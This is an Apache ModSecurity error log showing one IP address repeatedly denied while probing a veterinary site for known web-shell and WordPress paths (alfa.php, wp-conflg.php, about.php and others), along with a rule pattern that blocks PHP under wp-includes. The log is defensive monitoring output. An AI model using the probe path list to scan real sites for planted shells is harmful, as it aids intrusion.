[Fri Jan 09 00:54:30.502340 2026] [:error] [pid 17404:tid 17413] [client 20.196.88.31:7107] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aV_hRmVd_oH193N6AnXrdQAAAYc"]
[Fri Jan 09 00:54:31.163867 2026] [:error] [pid 15265:tid 15330] [client 20.196.88.31:11003] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aV_hR6E6VBKhew2LTFR37AAAAIQ"]
[Fri Jan 09 00:54:31.998424 2026] [:error] [pid 2484:tid 2493] [client 20.196.88.31:10922] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aV_hRziDlnlaQQK_AEPRZgAAAUY"]
[Fri Jan 09 00:54:32.526225 2026] [:error] [pid 15263:tid 15273] [client 20.196.88.31:10937] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aV_hSNv61bxum7WG_e8t0AAAAAE"]
[Fri Jan 09 00:54:33.192587 2026] [:error] [pid 2424:tid 2445] [client 20.196.88.31:10996] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aV_hSbTDJR8aofkBk9Rh5wAAARM"]
[Fri Jan 09 00:54:33.878835 2026] [:error] [pid 17404:tid 17421] [client 20.196.88.31:10898] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aV_hSWVd_oH193N6AnXrfAAAAY8"]
[Fri Jan 09 00:54:34.607262 2026] [:error] [pid 15265:tid 15341] [client 20.196.88.31:7118] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aV_hSqE6VBKhew2LTFR39QAAAI8"]
[Fri Jan 09 00:54:35.834701 2026] [:error] [pid 2484:tid 2512] [client 20.196.88.31:10973] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/click.php"] [unique_id "aV_hSziDlnlaQQK_AEPRcAAAAVg"]
[Fri Jan 09 00:54:36.697678 2026] [:error] [pid 15265:tid 15327] [client 20.196.88.31:7144] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/click.php"] [unique_id "aV_hTKE6VBKhew2LTFR39wAAAIE"]
[Fri Jan 09 00:54:37.058396 2026] [:error] [pid 15358:tid 15375] [client 20.196.88.31:10893] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/click.php"] [unique_id "aV_hTSoRk9xWJ3toSBKv4QAAAMU"]
[Fri Jan 09 00:54:37.655993 2026] [:error] [pid 15358:tid 15389] [client 20.196.88.31:7160] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/click.php"] [unique_id "aV_hTSoRk9xWJ3toSBKv5AAAANM"]
[Fri Jan 09 00:54:37.982752 2026] [:error] [pid 15358:tid 15378] [client 20.196.88.31:10962] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aV_hTSoRk9xWJ3toSBKv5QAAAMg"]
[Fri Jan 09 00:54:38.397088 2026] [:error] [pid 7586:tid 7613] [client 20.196.88.31:10950] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aV_hTsJyk37GdXP5TmWX9QAAAdc"]
[Fri Jan 09 00:54:38.755616 2026] [:error] [pid 15358:tid 15383] [client 20.196.88.31:10913] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aV_hTioRk9xWJ3toSBKv5wAAAM0"]
[Fri Jan 09 00:54:39.339919 2026] [:error] [pid 2484:tid 2503] [client 20.196.88.31:10889] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aV_hTziDlnlaQQK_AEPRdwAAAU8"]
[Fri Jan 09 00:55:05.809923 2026] [:error] [pid 2424:tid 2428] [client 20.196.88.31:10909] [client 20.196.88.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aV_habTDJR8aofkBk9RiLQAAAQI"]
[Fri Jan 09 00:55:43.701763 2026] [:error] [pid 15263:tid 15296] [client 20.196.88.31:11002] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aV_hj9v61bxum7WG_e8uHwAAABg"]
[Fri Jan 09 00:55:44.358659 2026] [:error] [pid 17404:tid 17409] [client 20.196.88.31:10939] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aV_hkGVd_oH193N6AnXrpgAAAYM"]
[Fri Jan 09 00:55:45.632168 2026] [:error] [pid 7586:tid 7592] [client 20.196.88.31:10917] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aV_hkcJyk37GdXP5TmWYQgAAAcQ"]
[Fri Jan 09 00:55:46.181556 2026] [:error] [pid 15265:tid 15350] [client 20.196.88.31:10903] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aV_hkqE6VBKhew2LTFR4OgAAAJg"]
[Fri Jan 09 00:55:47.064654 2026] [:error] [pid 17404:tid 17417] [client 20.196.88.31:7121] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aV_hk2Vd_oH193N6AnXrqQAAAYs"]
[Fri Jan 09 00:55:47.723502 2026] [:error] [pid 15263:tid 15280] [client 20.196.88.31:11004] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aV_hk9v61bxum7WG_e8uIQAAAAg"]
[Fri Jan 09 00:55:48.320718 2026] [:error] [pid 2484:tid 2498] [client 20.196.88.31:7041] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aV_hlDiDlnlaQQK_AEPR1gAAAUs"]
[Fri Jan 09 00:55:48.804171 2026] [:error] [pid 7586:tid 7607] [client 20.196.88.31:7156] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aV_hlMJyk37GdXP5TmWYRAAAAdE"]
[Fri Jan 09 00:55:50.178992 2026] [:error] [pid 15358:tid 15380] [client 20.196.88.31:10934] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aV_hlioRk9xWJ3toSBKwIAAAAMo"]
[Fri Jan 09 00:55:50.940891 2026] [:error] [pid 15265:tid 15341] [client 20.196.88.31:10968] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aV_hlqE6VBKhew2LTFR4PQAAAI8"]
[Fri Jan 09 00:55:51.337785 2026] [:error] [pid 2424:tid 2440] [client 20.196.88.31:10907] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aV_hl7TDJR8aofkBk9RiVgAAAQ4"]
[Fri Jan 09 00:55:51.953164 2026] [:error] [pid 15358:tid 15378] [client 20.196.88.31:10984] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aV_hlyoRk9xWJ3toSBKwKwAAAMg"]
[Fri Jan 09 00:55:52.565067 2026] [:error] [pid 15263:tid 15279] [client 20.196.88.31:10927] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aV_hmNv61bxum7WG_e8uJwAAAAc"]
[Fri Jan 09 00:55:53.006133 2026] [:error] [pid 7586:tid 7593] [client 20.196.88.31:10947] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aV_hmcJyk37GdXP5TmWYRwAAAcU"]
[Fri Jan 09 00:55:53.520756 2026] [:error] [pid 15265:tid 15349] [client 20.196.88.31:7140] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aV_hmaE6VBKhew2LTFR4PwAAAJc"]
[Fri Jan 09 00:55:54.165464 2026] [:error] [pid 2424:tid 2427] [client 20.196.88.31:7141] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aV_hmrTDJR8aofkBk9RiXAAAAQE"]
[Fri Jan 09 00:55:54.792619 2026] [:error] [pid 2424:tid 2437] [client 20.196.88.31:7167] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aV_hmrTDJR8aofkBk9RiXwAAAQs"]
[Fri Jan 09 00:55:55.406812 2026] [:error] [pid 15263:tid 15276] [client 20.196.88.31:10967] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aV_hm9v61bxum7WG_e8uLwAAAAQ"]
[Fri Jan 09 00:55:55.937424 2026] [:error] [pid 17404:tid 17409] [client 20.196.88.31:10933] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aV_hm2Vd_oH193N6AnXrtQAAAYM"]
[Fri Jan 09 00:55:56.725864 2026] [:error] [pid 15265:tid 15343] [client 20.196.88.31:10928] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aV_hnKE6VBKhew2LTFR4SQAAAJE"]
[Fri Jan 09 00:55:57.724439 2026] [:error] [pid 15265:tid 15340] [client 20.196.88.31:10936] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aV_hnaE6VBKhew2LTFR4TAAAAI4"]
[Fri Jan 09 00:55:58.071030 2026] [:error] [pid 2424:tid 2447] [client 20.196.88.31:7152] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aV_hnrTDJR8aofkBk9RiYQAAARU"]
[Fri Jan 09 00:55:58.662008 2026] [:error] [pid 15358:tid 15384] [client 20.196.88.31:7143] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aV_hnioRk9xWJ3toSBKwPAAAAM4"]
[Fri Jan 09 00:55:59.295469 2026] [:error] [pid 15264:tid 15323] [client 20.196.88.31:7042] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aV_hn4ov6_kvS0Owh-o5cgAAAFg"]
[Fri Jan 09 00:55:59.713497 2026] [:error] [pid 7586:tid 7612] [client 20.196.88.31:7128] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aV_hn8Jyk37GdXP5TmWYTAAAAdY"]
[Fri Jan 09 00:56:00.667620 2026] [:error] [pid 2424:tid 2427] [client 20.196.88.31:10915] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aV_hoLTDJR8aofkBk9RibAAAAQE"]
[Fri Jan 09 00:56:01.692764 2026] [:error] [pid 7586:tid 7589] [client 20.196.88.31:10971] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aV_hocJyk37GdXP5TmWYVgAAAcE"]
[Fri Jan 09 00:56:02.374149 2026] [:error] [pid 7586:tid 7604] [client 20.196.88.31:10959] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aV_hosJyk37GdXP5TmWYXQAAAc4"]
[Fri Jan 09 00:56:03.008204 2026] [:error] [pid 15265:tid 15342] [client 20.196.88.31:10940] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "aV_ho6E6VBKhew2LTFR4VAAAAJA"]
[Fri Jan 09 00:56:03.430019 2026] [:error] [pid 15264:tid 15314] [client 20.196.88.31:10952] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "aV_ho4ov6_kvS0Owh-o5eQAAAE8"]
[Fri Jan 09 00:56:04.145144 2026] [:error] [pid 2424:tid 2440] [client 20.196.88.31:7106] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "aV_hpLTDJR8aofkBk9RieAAAAQ4"]
[Fri Jan 09 00:56:04.496799 2026] [:error] [pid 15265:tid 15328] [client 20.196.88.31:7153] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "aV_hpKE6VBKhew2LTFR4VQAAAII"]
[Fri Jan 09 00:56:04.966329 2026] [:error] [pid 2424:tid 2443] [client 20.196.88.31:10965] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aV_hpLTDJR8aofkBk9RiewAAARE"]
[Fri Jan 09 00:56:05.575053 2026] [:error] [pid 2424:tid 2434] [client 20.196.88.31:7166] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aV_hpbTDJR8aofkBk9RifAAAAQg"]
[Fri Jan 09 00:56:05.953539 2026] [:error] [pid 2484:tid 2510] [client 20.196.88.31:10951] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aV_hpTiDlnlaQQK_AEPR6AAAAVY"]
[Fri Jan 09 00:56:06.467450 2026] [:error] [pid 17404:tid 17427] [client 20.196.88.31:7127] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aV_hpmVd_oH193N6AnXrxwAAAZU"]
[Fri Jan 09 00:56:06.971462 2026] [:error] [pid 7586:tid 7597] [client 20.196.88.31:10895] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aV_hpsJyk37GdXP5TmWYZgAAAck"]
[Fri Jan 09 00:56:07.348665 2026] [:error] [pid 15264:tid 15301] [client 20.196.88.31:11005] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aV_hp4ov6_kvS0Owh-o5gQAAAEI"]
[Fri Jan 09 00:56:07.948523 2026] [:error] [pid 17404:tid 17406] [client 20.196.88.31:7111] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aV_hp2Vd_oH193N6AnXrzAAAAYA"]
